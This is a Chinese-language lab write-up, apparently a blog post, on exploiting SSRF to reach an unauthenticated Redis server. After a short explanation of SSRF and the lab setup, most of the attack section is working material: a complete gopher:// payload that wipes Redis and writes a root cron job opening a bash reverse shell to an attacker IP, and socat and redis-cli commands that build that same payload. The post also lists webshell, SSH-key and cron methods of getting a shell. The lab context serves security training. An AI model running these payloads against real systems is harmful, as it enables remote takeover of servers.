ssrf+redis未授权靶场

ssrf+redis靶场利用

原理:服务端提供了从其他服务器获取数据的功能,而且没做好限制

非常类似文件包含

常见功能点

  • 在线翻译网页
  • 图片加载
  • 网站信息收集

可利用点

  • 端口扫描,用dict
  • 本地敏感数据file
  • 做跳板利用其它漏洞gophar

验证:抓包分析服务器是否发送请求

利用

  • http协议访问内外网web资源
  • file协议读取本地文件
  • dict协议探测内外网tcp端口
  • gopher协议做跳板

ssrf+redis未授权实验

环境准备

  • kali攻击机 192.168.0.4
  • ssrf靶场 web靶场添加一个ssrf利用文件 192.168.0.10
  • redis未授权靶场 192.168.0.9

本实验均在同一网段下,因为没找到redis不出网的利用方式,凑合联动一下

redis靶场

#设置只允许ssrf靶场服务器访问6379
firewall-cmd --add-rich-rule='rule family=ipv4 source address=192.168.0.10 port port=6379 protocol=tcp accept'

ssrf+redis未授权靶场_第1张图片

可以看到kali不能直接访问,但可以通过ssrf来访问

在这里插入图片描述

构造攻击payload利用

ssrf+redis未授权靶场_第2张图片

#自己改ip  在进行一次url编码利用两次编码后的payload
gopher://192.168.0.7:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$7%0d%0afarmsec%0d%0a$59%0d%0a%0a%0a*/1 * * * * bash -i >&/dev/tcp/192.168.0.4/3333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a%0a

payload制作教程

  • 自写脚本或者用大佬们写的 cp自己改也行
  • 利用wireshark抓流量
  • 利用socat看流量
#攻击机执行
#socat
socat -v tcp-listen:6379,fork tcp-connect:192.168.0.7:6379
#这种手法是先搞一个本地靶场,把自己攻击机流量转发到本地redis靶场
redis-cli -h 127.0.0.1 flushall         #清空数据库。
echo -e "\n\n*/1 * * * * bash -i >&/dev/tcp/192.168.10.96/3333 0>&1\n\n"|redis-cli -h 127.0.0.1 -x set abc      #写入脚本赋值abc
redis-cli -h 127.0.0.1 config set dir /var/spool/cron/    #设置工作目录centos是这个目录
redis-cli -h 127.0.0.1 config set dbfilename root     #设置保存文件名字
redis-cli -h 127.0.0.1 save      #保存

这样就把流量抓到攻击机可以开nc监听,发送payload了

一般针对redis未授权是三种getshell方法(还有一些高端玩法)分别是

  • 针对同时有web服务器的可以写webshell

  • 针对root权限有ssh的可以写公钥

  • 针对centos服务器root权限可以写cron(因为ubuntu那种目录权限有些问题)

你可能感兴趣的:(靶场,redis,网络安全)